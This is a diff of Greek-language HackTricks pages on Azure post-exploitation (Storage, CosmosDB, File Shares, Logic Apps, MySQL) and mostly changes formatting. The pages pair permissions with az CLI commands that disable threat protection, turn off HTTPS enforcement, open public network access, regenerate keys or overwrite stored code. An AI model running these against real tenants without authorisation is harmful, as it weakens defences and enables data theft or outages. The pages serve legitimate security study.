Ένας χρήστης με αυτή την άδεια θα μπορεί να **γράψει και να αντικαταστήσει αρχεία σε κοντέινερ** που μπορεί να του επιτρέψει να προκαλέσει κάποια ζημιά ή ακόμα και να κλιμακώσει τα δικαιώματα (π.χ. να αντικαταστήσει κάποιον κώδικα που είναι αποθηκευμένος σε ένα blob):
|
||||
Ένας χρήστης με αυτή την άδεια θα είναι σε θέση να **γράψει και να αντικαταστήσει αρχεία σε κοντέινερ** που μπορεί να του επιτρέψει να προκαλέσει κάποια ζημιά ή ακόμα και να κλιμακώσει τα δικαιώματα (π.χ. να αντικαταστήσει κάποιον κώδικα που είναι αποθηκευμένος σε ένα blob):
|
||||
```bash
|
||||
# e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write
|
||||
az storage blob upload \
|
||||
|
||||
@@ -5,27 +5,21 @@
|
||||
## CosmosDB Post Exploitation
|
||||
Για περισσότερες πληροφορίες σχετικά με τη SQL Database, ελέγξτε:
|
||||
|
||||
{% content-ref url="../az-services/az-cosmosDB.md" %}
|
||||
[az-cosmosDB.md](../az-services/az-cosmosDB.md)
|
||||
{% endcontent-ref %}
|
||||
{{#ref}}
|
||||
../az-services/az-cosmosDB.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/read" && "Microsoft.DocumentDB/databaseAccounts/write"
|
||||
### `Microsoft.DocumentDB/databaseAccounts/read` && `Microsoft.DocumentDB/databaseAccounts/write`
|
||||
Με αυτή την άδεια, μπορείτε να δημιουργήσετε ή να ενημερώσετε λογαριασμούς Azure Cosmos DB. Αυτό περιλαμβάνει την τροποποίηση ρυθμίσεων σε επίπεδο λογαριασμού, την προσθήκη ή την αφαίρεση περιοχών, την αλλαγή επιπέδων συνέπειας και την ενεργοποίηση ή απενεργοποίηση χαρακτηριστικών όπως οι εγγραφές πολλαπλών περιοχών.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb update \
|
||||
--name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--public-network-access ENABLED
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/read" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/write"
|
||||
### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/read` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/write`
|
||||
Με αυτή την άδεια, μπορείτε να δημιουργήσετε ή να τροποποιήσετε κοντέινερ (συλλογές) εντός μιας SQL βάσης δεδομένων ενός λογαριασμού Azure Cosmos DB. Τα κοντέινερ χρησιμοποιούνται για την αποθήκευση δεδομένων, και οι αλλαγές σε αυτά μπορούν να επηρεάσουν τη δομή και τα πρότυπα πρόσβασης της βάσης δεδομένων.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Create
|
||||
az cosmosdb sql container create \
|
||||
@@ -43,25 +37,17 @@ az cosmosdb sql container update \
|
||||
--name <container_name> \
|
||||
--ttl 3600
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/read"
|
||||
### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/read`
|
||||
Με αυτή την άδεια, μπορείτε να δημιουργήσετε ή να τροποποιήσετε SQL βάσεις δεδομένων εντός ενός λογαριασμού Azure Cosmos DB. Αυτό επιτρέπει τη διαχείριση της δομής της βάσης δεδομένων και την προσθήκη νέων βάσεων δεδομένων στον λογαριασμό. Ενώ αυτή η άδεια επιτρέπει τη δημιουργία βάσεων δεδομένων, η ακατάλληλη ή μη εξουσιοδοτημένη χρήση θα μπορούσε να έχει ως αποτέλεσμα περιττή κατανάλωση πόρων, αυξημένα κόστη ή λειτουργικές αναποτελεσματικότητες.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb sql database create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <database_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/failoverPriorityChange/action"
|
||||
### `Microsoft.DocumentDB/databaseAccounts/failoverPriorityChange/action`
|
||||
|
||||
Με αυτή την άδεια, μπορείτε να αλλάξετε την προτεραιότητα αποτυχίας των περιοχών για έναν λογαριασμό βάσης δεδομένων Azure Cosmos DB. Αυτή η ενέργεια καθορίζει τη σειρά με την οποία οι περιοχές γίνονται κύριες κατά τη διάρκεια ενός συμβάντος αποτυχίας. Η ακατάλληλη χρήση αυτής της άδειας μπορεί να διαταράξει την υψηλή διαθεσιμότητα της βάσης δεδομένων ή να οδηγήσει σε απρόβλεπτες επιχειρησιακές επιπτώσεις.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb failover-priority-change \
|
||||
--name <database_account_name> \
|
||||
@@ -69,12 +55,8 @@ az cosmosdb failover-priority-change \
|
||||
--failover-policies <region1=priority1> <region2=priority2>
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/regenerateKey/action"
|
||||
### `Microsoft.DocumentDB/databaseAccounts/regenerateKey/action`
|
||||
Με αυτή την άδεια, μπορείτε να αναγεννήσετε τα κύρια ή δευτερεύοντα κλειδιά για έναν λογαριασμό Azure Cosmos DB. Αυτό χρησιμοποιείται συνήθως για την ενίσχυση της ασφάλειας αντικαθιστώντας τα παλιά κλειδιά, αλλά μπορεί να διαταράξει την πρόσβαση σε υπηρεσίες ή εφαρμογές που βασίζονται στα τρέχοντα κλειδιά.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb keys regenerate \
|
||||
--name <account_name> \
|
||||
@@ -82,13 +64,9 @@ az cosmosdb keys regenerate \
|
||||
--key-kind <primary|secondary>
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/read"
|
||||
### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/read`
|
||||
|
||||
Με αυτή την άδεια, μπορείτε να δημιουργήσετε ή να τροποποιήσετε triggers μέσα σε ένα container μιας SQL βάσης δεδομένων σε έναν λογαριασμό Azure Cosmos DB. Τα triggers σας επιτρέπουν να εκτελείτε λογική server-side ως απάντηση σε λειτουργίες.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb sql trigger create \
|
||||
--account-name <account_name> \
|
||||
@@ -100,12 +78,8 @@ az cosmosdb sql trigger create \
|
||||
--type Pre \
|
||||
--operation All
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/read"
|
||||
Με αυτή την άδεια, μπορείτε να δημιουργήσετε ή να τροποποιήσετε αποθηκευμένες διαδικασίες μέσα σε ένα κοντέινερ μιας SQL βάσης δεδομένων σε έναν λογαριασμό Azure Cosmos DB. Οι αποθηκευμένες διαδικασίες στο Cosmos DB είναι JavaScript συναρτήσεις server-side που σας επιτρέπουν να ενσωματώσετε λογική για την επεξεργασία δεδομένων ή την εκτέλεση λειτουργιών απευθείας μέσα στη βάση δεδομένων.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/read`
|
||||
Με αυτή την άδεια, μπορείτε να δημιουργήσετε ή να τροποποιήσετε αποθηκευμένες διαδικασίες εντός ενός κοντέινερ μιας SQL βάσης δεδομένων σε έναν λογαριασμό Azure Cosmos DB. Οι αποθηκευμένες διαδικασίες στο Cosmos DB είναι JavaScript συναρτήσεις πλευράς διακομιστή που σας επιτρέπουν να ενσωματώσετε λογική για την επεξεργασία δεδομένων ή την εκτέλεση λειτουργιών απευθείας μέσα στη βάση δεδομένων.
|
||||
```bash
|
||||
az cosmosdb sql stored-procedure create \
|
||||
--account-name <account_name> \
|
||||
@@ -115,12 +89,8 @@ az cosmosdb sql stored-procedure create \
|
||||
--name <stored_procedure_name> \
|
||||
--body 'function sample() { return "Hello, Cosmos!"; }'
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/read"
|
||||
### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/read`
|
||||
Με αυτή την άδεια, μπορείτε να δημιουργήσετε ή να τροποποιήσετε triggers μέσα σε ένα container μιας SQL βάσης δεδομένων σε έναν λογαριασμό Azure Cosmos DB. Τα triggers σας επιτρέπουν να εκτελείτε λογική server-side ως απάντηση σε ενέργειες όπως εισαγωγές, ενημερώσεις ή διαγραφές.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb sql trigger create \
|
||||
--account-name <account_name> \
|
||||
@@ -132,12 +102,8 @@ az cosmosdb sql trigger create \
|
||||
--type Pre \
|
||||
--operation All
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/read" && "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/write"
|
||||
### `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/read` && `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/write`
|
||||
Με αυτή την άδεια, μπορείτε να δημιουργήσετε ή να τροποποιήσετε συλλογές εντός των βάσεων δεδομένων MongoDB σε έναν λογαριασμό Azure Cosmos DB. Οι συλλογές χρησιμοποιούνται για την αποθήκευση εγγράφων και τον καθορισμό της δομής και της κατανομής των δεδομένων.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb mongodb collection create \
|
||||
--account-name <account_name> \
|
||||
@@ -145,24 +111,16 @@ az cosmosdb mongodb collection create \
|
||||
--database-name <mongodb_database_name> \
|
||||
--name <collection_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/read"
|
||||
### `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/read`
|
||||
Με αυτή την άδεια, μπορείτε να δημιουργήσετε νέες βάσεις δεδομένων MongoDB εντός ενός λογαριασμού Azure Cosmos DB. Αυτό επιτρέπει την προμήθεια νέων βάσεων δεδομένων για την αποθήκευση και διαχείριση συλλογών και εγγράφων.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb mongodb database create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <database_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read"
|
||||
### `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read`
|
||||
Με αυτή την άδεια, μπορείτε να δημιουργήσετε νέες ορισμούς ρόλων MongoDB εντός ενός λογαριασμού Azure Cosmos DB. Αυτό επιτρέπει τον καθορισμό προσαρμοσμένων ρόλων με συγκεκριμένες άδειες για χρήστες MongoDB.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb mongodb role definition create \
|
||||
--account-name <account_name> \
|
||||
@@ -188,11 +146,8 @@ az cosmosdb mongodb role definition create \
|
||||
"Roles": []
|
||||
}'
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read"
|
||||
### `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read`
|
||||
Με αυτή την άδεια, μπορείτε να δημιουργήσετε νέες ορισμούς χρηστών MongoDB εντός ενός λογαριασμού Azure Cosmos DB. Αυτό επιτρέπει την παροχή χρηστών με συγκεκριμένους ρόλους και επίπεδα πρόσβασης σε βάσεις δεδομένων MongoDB.
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb mongodb user definition create \
|
||||
--account-name <account_name> \
|
||||
@@ -212,6 +167,4 @@ az cosmosdb mongodb user definition create \
|
||||
]
|
||||
}'
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -10,7 +10,7 @@ File Share Post Exploitation
|
||||
../az-services/az-file-shares.md
|
||||
{{#endref}}
|
||||
|
||||
### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/read
|
||||
### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/read`
|
||||
|
||||
Ένας κύριος με αυτή την άδεια θα μπορεί να **καταγράψει** τα αρχεία μέσα σε ένα file share και να **κατεβάσει** τα αρχεία που μπορεί να περιέχουν **ευαίσθητες πληροφορίες**.
|
||||
```bash
|
||||
@@ -28,9 +28,9 @@ az storage file download \
|
||||
--dest /path/to/down \
|
||||
--auth-mode login --enable-file-backup-request-intent
|
||||
```
|
||||
### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/write, Microsoft.Storage/storageAccounts/fileServices/writeFileBackupSemantics/action
|
||||
### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/write`, `Microsoft.Storage/storageAccounts/fileServices/writeFileBackupSemantics/action`
|
||||
|
||||
Ένας κύριος με αυτή την άδεια θα είναι σε θέση να **γράψει και να αντικαταστήσει αρχεία σε κοινές διανομές** που μπορεί να του επιτρέψει να προκαλέσει κάποια ζημιά ή ακόμη και να κλιμακώσει προνόμια (π.χ. να αντικαταστήσει κάποιον κώδικα που είναι αποθηκευμένος σε μια κοινή διανομή):
|
||||
Ένας χρήστης με αυτή την άδεια θα είναι σε θέση να **γράψει και να αντικαταστήσει αρχεία σε κοινές διανομές** που μπορεί να του επιτρέψει να προκαλέσει κάποια ζημιά ή ακόμη και να κλιμακώσει προνόμια (π.χ. να αντικαταστήσει κάποιον κώδικα που είναι αποθηκευμένος σε μια κοινή διανομή):
|
||||
```bash
|
||||
az storage blob upload \
|
||||
--account-name <acc-name> \
|
||||
|
||||
@@ -3,16 +3,14 @@
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Logic Apps Database Post Exploitation
|
||||
Για περισσότερες πληροφορίες σχετικά με τις λογισμικές εφαρμογές, ελέγξτε:
|
||||
Για περισσότερες πληροφορίες σχετικά με τις λογικές εφαρμογές, ελέγξτε:
|
||||
|
||||
{% content-ref url="../az-services/az-logic-apps.md" %}
|
||||
[az-logic-apps.md](../az-services/az-logic-apps.md)
|
||||
{% endcontent-ref %}
|
||||
{{#ref}}
|
||||
../az-services/az-logic-apps.md
|
||||
{{#endref}}
|
||||
|
||||
### "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
|
||||
Με αυτές τις άδειες, μπορείτε να τροποποιήσετε τις ροές εργασίας των Logic App και να διαχειριστείτε τις ταυτότητές τους. Συγκεκριμένα, μπορείτε να αναθέσετε ή να αφαιρέσετε ταυτότητες που έχουν ανατεθεί από το σύστημα και ταυτότητες που έχουν ανατεθεί από τον χρήστη σε ροές εργασίας, επιτρέποντας στην Logic App να πιστοποιείται και να έχει πρόσβαση σε άλλους πόρους Azure χωρίς ρητές διαπιστεύσεις.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
### `Microsoft.Logic/workflows/read`, `Microsoft.Logic/workflows/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
Με αυτές τις άδειες, μπορείτε να τροποποιήσετε τις ροές εργασίας των Logic App και να διαχειριστείτε τις ταυτότητές τους. Συγκεκριμένα, μπορείτε να αναθέσετε ή να αφαιρέσετε ταυτότητες που έχουν ανατεθεί από το σύστημα και από τον χρήστη σε ροές εργασίας, επιτρέποντας στην Logic App να πιστοποιείται και να έχει πρόσβαση σε άλλους πόρους Azure χωρίς ρητές διαπιστευτήρια.
|
||||
```bash
|
||||
az logic workflow identity remove/assign \
|
||||
--name <workflow_name> \
|
||||
@@ -20,49 +18,32 @@ az logic workflow identity remove/assign \
|
||||
--system-assigned true \
|
||||
--user-assigned "/subscriptions/<subscription_id>/resourceGroups/<resource_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<identity_name>"
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.Web/sites/read", "Microsoft.Web/sites/write"
|
||||
### `Microsoft.Web/sites/read`, `Microsoft.Web/sites/write`
|
||||
Με αυτές τις άδειες, μπορείτε να δημιουργήσετε ή να ενημερώσετε Logic Apps που φιλοξενούνται σε ένα App Service Plan. Αυτό περιλαμβάνει την τροποποίηση ρυθμίσεων όπως η ενεργοποίηση ή η απενεργοποίηση της επιβολής HTTPS.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az logicapp update \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <logic_app_name> \
|
||||
--set httpsOnly=false
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.Web/sites/stop/action", "Microsoft.Web/sites/start/action" || "Microsoft.Web/sites/restart/action"
|
||||
Με αυτή την άδεια, μπορείτε να ξεκινήσετε/σταματήσετε/επανεκκινήσετε μια εφαρμογή ιστού, συμπεριλαμβανομένων των Logic Apps που φιλοξενούνται σε ένα App Service Plan. Αυτή η ενέργεια διασφαλίζει ότι μια προηγουμένως σταματημένη εφαρμογή επανέρχεται online και συνεχίζει τη λειτουργικότητά της. Αυτό μπορεί να διαταράξει τις ροές εργασίας, να προκαλέσει μη προγραμματισμένες ενέργειες ή να προκαλέσει διακοπή λειτουργίας ξεκινώντας, σταματώντας ή επανεκκινώντας τις Logic Apps απροσδόκητα.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
### `Microsoft.Web/sites/stop/action`, `Microsoft.Web/sites/start/action` || `Microsoft.Web/sites/restart/action`
|
||||
Με αυτή την άδεια, μπορείτε να ξεκινήσετε/σταματήσετε/επανεκκινήσετε μια εφαρμογή ιστού, συμπεριλαμβανομένων των Logic Apps που φιλοξενούνται σε ένα App Service Plan. Αυτή η ενέργεια διασφαλίζει ότι μια προηγουμένως σταματημένη εφαρμογή επανέρχεται online και επαναλαμβάνει τη λειτουργικότητά της. Αυτό μπορεί να διαταράξει τις ροές εργασίας, να προκαλέσει μη προγραμματισμένες λειτουργίες ή να προκαλέσει διακοπή λειτουργίας ξεκινώντας, σταματώντας ή επανεκκινώντας τις Logic Apps απροσδόκητα.
|
||||
```bash
|
||||
az webapp start/stop/restart \
|
||||
--name <logic_app_name> \
|
||||
--resource-group <resource_group_name>
|
||||
```
|
||||
{% endcode %}
|
||||
### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/read` && `Microsoft.Web/sites/config/write`
|
||||
|
||||
|
||||
### "Microsoft.Web/sites/config/list/action", "Microsoft.Web/sites/read" && "Microsoft.Web/sites/config/write"
|
||||
|
||||
Με αυτή την άδεια, μπορείτε να ρυθμίσετε ή να τροποποιήσετε τις ρυθμίσεις για τις διαδικτυακές εφαρμογές, συμπεριλαμβανομένων των Logic Apps που φιλοξενούνται σε ένα App Service Plan. Αυτό επιτρέπει αλλαγές στις ρυθμίσεις της εφαρμογής, τις συμβολοσειρές σύνδεσης, τις ρυθμίσεις αυθεντικοποίησης και άλλα.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
Με αυτή την άδεια, μπορείτε να ρυθμίσετε ή να τροποποιήσετε τις ρυθμίσεις για τις εφαρμογές ιστού, συμπεριλαμβανομένων των Logic Apps που φιλοξενούνται σε ένα App Service Plan. Αυτό επιτρέπει αλλαγές στις ρυθμίσεις της εφαρμογής, τις συμβολοσειρές σύνδεσης, τις ρυθμίσεις αυθεντικοποίησης και άλλα.
|
||||
```bash
|
||||
az logicapp config appsettings set \
|
||||
--name <logic_app_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--settings "<key>=<value>"
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.Logic/integrationAccounts/write"
|
||||
### `Microsoft.Logic/integrationAccounts/write`
|
||||
Με αυτή την άδεια, μπορείτε να δημιουργήσετε, να ενημερώσετε ή να διαγράψετε λογαριασμούς ολοκλήρωσης Azure Logic Apps. Αυτό περιλαμβάνει τη διαχείριση ρυθμίσεων σε επίπεδο λογαριασμού ολοκλήρωσης όπως χάρτες, σχήματα, συνεργάτες, συμφωνίες και άλλα.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az logic integration-account create \
|
||||
--resource-group <resource_group_name> \
|
||||
@@ -71,13 +52,9 @@ az logic integration-account create \
|
||||
--sku <Standard|Free> \
|
||||
--state Enabled
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/batchConfigurations/write"
|
||||
### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/batchConfigurations/write`
|
||||
|
||||
Με αυτή την άδεια, μπορείτε να δημιουργήσετε ή να τροποποιήσετε τις ρυθμίσεις παρτίδας εντός ενός λογαριασμού ολοκλήρωσης Azure Logic Apps. Οι ρυθμίσεις παρτίδας καθορίζουν πώς οι Logic Apps επεξεργάζονται και ομαδοποιούν τα εισερχόμενα μηνύματα για επεξεργασία παρτίδας.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az logic integration-account batch-configuration create \
|
||||
--resource-group <resource_group_name> \
|
||||
@@ -88,12 +65,8 @@ az logic integration-account batch-configuration create \
|
||||
"batchSize": 1048576,
|
||||
}'
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/maps/write"
|
||||
### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/maps/write`
|
||||
Με αυτή την άδεια, μπορείτε να δημιουργήσετε ή να τροποποιήσετε χάρτες εντός ενός λογαριασμού ολοκλήρωσης Azure Logic Apps. Οι χάρτες χρησιμοποιούνται για να μετατρέπουν δεδομένα από μια μορφή σε άλλη, επιτρέποντας την απρόσκοπτη ολοκλήρωση μεταξύ διαφορετικών συστημάτων και εφαρμογών.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az logic integration-account map create \
|
||||
--resource-group <resource_group_name> \
|
||||
@@ -103,12 +76,8 @@ az logic integration-account map create \
|
||||
--content-type application/xml \
|
||||
--map-content map-content.xslt
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/partners/write"
|
||||
### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/partners/write`
|
||||
Με αυτή την άδεια, μπορείτε να δημιουργήσετε ή να τροποποιήσετε συνεργάτες σε έναν λογαριασμό ολοκλήρωσης Azure Logic Apps. Οι συνεργάτες αντιπροσωπεύουν οντότητες ή συστήματα που συμμετέχουν σε ροές εργασίας επιχειρήσεων προς επιχειρήσεις (B2B).
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az logic integration-account partner create \
|
||||
--resource-group <resource_group_name> \
|
||||
@@ -126,12 +95,8 @@ az logic integration-account partner create \
|
||||
}
|
||||
}'
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/sessions/write"
|
||||
### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/sessions/write`
|
||||
Με αυτή την άδεια, μπορείτε να δημιουργήσετε ή να τροποποιήσετε συνεδρίες εντός ενός λογαριασμού ολοκλήρωσης Azure Logic Apps. Οι συνεδρίες χρησιμοποιούνται σε B2B ροές εργασίας για να ομαδοποιούν μηνύματα και να παρακολουθούν σχετικές συναλλαγές σε μια καθορισμένη περίοδο.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az logic integration-account session create \
|
||||
--resource-group <resource_group_name> \
|
||||
@@ -147,8 +112,6 @@ az logic integration-account session create \
|
||||
}
|
||||
}'
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "*/delete"
|
||||
Με αυτές τις άδειες μπορείτε να διαγράψετε πόρους που σχετίζονται με το Azure Logic Apps
|
||||
|
||||
|
||||
@@ -5,54 +5,40 @@
|
||||
## MySQL Database Post Exploitation
|
||||
Για περισσότερες πληροφορίες σχετικά με τη βάση δεδομένων MySQL, ελέγξτε:
|
||||
|
||||
{% content-ref url="../az-services/az-mysql.md" %}
|
||||
[az-mysql.md](../az-services/az-mysql.md)
|
||||
{% endcontent-ref %}
|
||||
{{#ref}}
|
||||
../az-services/az-mysql.md
|
||||
{{#endref}}
|
||||
|
||||
### "Microsoft.DBforMySQL/flexibleServers/databases/write" && "Microsoft.DBforMySQL/flexibleServers/databases/read"
|
||||
### `Microsoft.DBforMySQL/flexibleServers/databases/write` && `Microsoft.DBforMySQL/flexibleServers/databases/read`
|
||||
|
||||
Με αυτή την άδεια, μπορείτε να δημιουργήσετε νέες βάσεις δεδομένων εντός μιας MySQL Flexible Server instance στο Azure. Ενώ αυτή η ενέργεια από μόνη της δεν τροποποιεί υπάρχοντες πόρους, η υπερβολική ή μη εξουσιοδοτημένη δημιουργία βάσεων δεδομένων θα μπορούσε να οδηγήσει σε κατανάλωση πόρων ή πιθανή κακή χρήση του διακομιστή.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
Με αυτή την άδεια, μπορείτε να δημιουργήσετε νέες βάσεις δεδομένων μέσα σε μια MySQL Flexible Server instance στο Azure. Ενώ αυτή η ενέργεια από μόνη της δεν τροποποιεί υπάρχοντες πόρους, η υπερβολική ή μη εξουσιοδοτημένη δημιουργία βάσεων δεδομένων θα μπορούσε να οδηγήσει σε κατανάλωση πόρων ή πιθανή κακή χρήση του διακομιστή.
|
||||
```bash
|
||||
az mysql flexible-server db create \
|
||||
--server-name <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--database-name <database_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforMySQL/flexibleServers/backups/write"
|
||||
### `Microsoft.DBforMySQL/flexibleServers/backups/write`
|
||||
|
||||
Με αυτή την άδεια, μπορείτε να ξεκινήσετε τη δημιουργία αντιγράφων ασφαλείας για μια MySQL Flexible Server instance στο Azure. Αυτό επιτρέπει στους χρήστες να δημιουργούν αντίγραφα ασφαλείας κατ' απαίτηση, τα οποία μπορεί να είναι χρήσιμα για τη διατήρηση δεδομένων σε συγκεκριμένες χρονικές στιγμές.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az mysql flexible-server backup create \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name>
|
||||
--backup-name <backup_name>
|
||||
```
|
||||
{% endcode %}
|
||||
### `Microsoft.DBforMySQL/flexibleServers/advancedThreatProtectionSettings/write`
|
||||
|
||||
### "Microsoft.DBforMySQL/flexibleServers/advancedThreatProtectionSettings/write"
|
||||
|
||||
Με αυτή την άδεια, μπορείτε να ρυθμίσετε ή να ενημερώσετε τις ρυθμίσεις Προηγμένης Προστασίας από Απειλές (ATP) για μια MySQL Flexible Server instance στο Azure. Αυτό επιτρέπει την ενεργοποίηση ή απενεργοποίηση χαρακτηριστικών ασφαλείας που έχουν σχεδιαστεί για να ανιχνεύουν και να ανταποκρίνονται σε ανώμαλες δραστηριότητες και πιθανές απειλές.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
Με αυτή την άδεια, μπορείτε να ρυθμίσετε ή να ενημερώσετε τις ρυθμίσεις Advanced Threat Protection (ATP) για μια MySQL Flexible Server instance στο Azure. Αυτό επιτρέπει την ενεργοποίηση ή την απενεργοποίηση χαρακτηριστικών ασφαλείας που έχουν σχεδιαστεί για να ανιχνεύουν και να ανταποκρίνονται σε ανώμαλες δραστηριότητες και πιθανούς κινδύνους.
|
||||
```bash
|
||||
az mysql flexible-server threat-protection-policy update \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--state <Enabled|Disabled>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforMySQL/flexibleServers/firewallRules/write"
|
||||
### `Microsoft.DBforMySQL/flexibleServers/firewallRules/write`
|
||||
|
||||
